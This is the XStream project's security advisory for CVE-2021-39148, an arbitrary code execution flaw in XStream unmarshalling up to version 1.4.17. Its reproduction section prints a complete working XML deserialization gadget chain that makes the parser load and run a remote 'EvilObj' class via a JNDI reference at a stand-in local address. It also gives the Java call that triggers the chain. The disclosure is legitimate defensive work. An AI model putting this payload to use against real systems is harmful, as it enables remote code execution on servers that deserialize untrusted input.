Codebase list libxstream-java / cme/main xstream-distribution / src / content / CVE-2021-39148.html
cme/main

Tree @cme/main (Download .tar.gz)

CVE-2021-39148.html @cme/mainraw · history · blame

<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 28. May 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-39148</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-39148: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
    
    <h2 id="affected_versions">Affected Versions</h2>
    
    <p>All versions until and including version 1.4.17 are affected, if using the version out of the box.  No user is
    affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security framework
    </a> with a whitelist limited to the minimal required    types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

    <p>Create a simple TreeSet and use XStream to marshal it to XML.  Replace the XML with following snippet and
    unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;sorted-set&gt;
  &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;type&gt;ysomap&lt;/type&gt;
    &lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
      &lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
        &lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
        &lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
        &lt;bodyParts/&gt;
        &lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
          &lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
          &lt;multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'&gt;
            &lt;soapPart/&gt;
            &lt;mm&gt;
              &lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
                &lt;aliases class='com.sun.jndi.toolkit.dir.ContextEnumerator'&gt;
                  &lt;children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'&gt;
                    &lt;list class='com.sun.xml.internal.dtdparser.SimpleHashtable'&gt;
                      &lt;current&gt;
                        &lt;hash&gt;1&lt;/hash&gt;
                        &lt;key class='javax.naming.Binding'&gt;
                          &lt;name&gt;ysomap&lt;/name&gt;
                          &lt;isRel&gt;false&lt;/isRel&gt;
                            &lt;boundObj class='com.sun.jndi.ldap.LdapReferralContext'&gt;
                              &lt;refCtx class='javax.naming.spi.ContinuationDirContext'&gt;
                                &lt;cpe&gt;
                                  &lt;stackTrace/&gt;
                                  &lt;suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'&gt;
                                    &lt;c class='list'/&gt;
                                    &lt;list reference='../c'/&gt;
                                  &lt;/suppressedExceptions&gt;
                                  &lt;resolvedObj class='javax.naming.Reference'&gt;
                                    &lt;className&gt;EvilObj&lt;/className&gt;
                                    &lt;addrs/&gt;
                                    &lt;classFactory&gt;EvilObj&lt;/classFactory&gt;
                                    &lt;classFactoryLocation&gt;http://127.0.0.1:1099/&lt;/classFactoryLocation&gt;
                                  &lt;/resolvedObj&gt;
                                  &lt;altName class='javax.naming.CompoundName' serialization='custom'&gt;
                                    &lt;javax.naming.CompoundName&gt;
                                      &lt;properties/&gt;
                                      &lt;int&gt;1&lt;/int&gt;
                                      &lt;string&gt;ysomap&lt;/string&gt;
                                    &lt;/javax.naming.CompoundName&gt;
                                  &lt;/altName&gt;
                                &lt;/cpe&gt;
                              &lt;/refCtx&gt;
                              &lt;skipThisReferral&gt;false&lt;/skipThisReferral&gt;
                              &lt;hopCount&gt;0&lt;/hopCount&gt;
                            &lt;/boundObj&gt;
                        &lt;/key&gt;
                      &lt;/current&gt;
                      &lt;currentBucket&gt;0&lt;/currentBucket&gt;
                      &lt;count&gt;0&lt;/count&gt;
                      &lt;threshold&gt;0&lt;/threshold&gt;
                    &lt;/list&gt;
                  &lt;/children&gt;
                  &lt;currentReturned&gt;true&lt;/currentReturned&gt;
                  &lt;currentChildExpanded&gt;false&lt;/currentChildExpanded&gt;
                  &lt;rootProcessed&gt;true&lt;/rootProcessed&gt;
                  &lt;scope&gt;2&lt;/scope&gt;
                &lt;/aliases&gt;
              &lt;/it&gt;
            &lt;/mm&gt;
          &lt;/multiPart&gt;
        &lt;/sm&gt;
      &lt;/message&gt;
    &lt;/value&gt;
  &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
  &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;type&gt;ysomap&lt;/type&gt;
    &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
      &lt;m__obj class='string'&gt;test&lt;/m__obj&gt;
    &lt;/value&gt;
  &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;/sorted-set&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

    <p>The vulnerability may allow a remote attacker to execute arbitrary code only by manipulating the processed
    input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>wh1t3p1g G5-RD6@IIE found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
      </body>
 </html>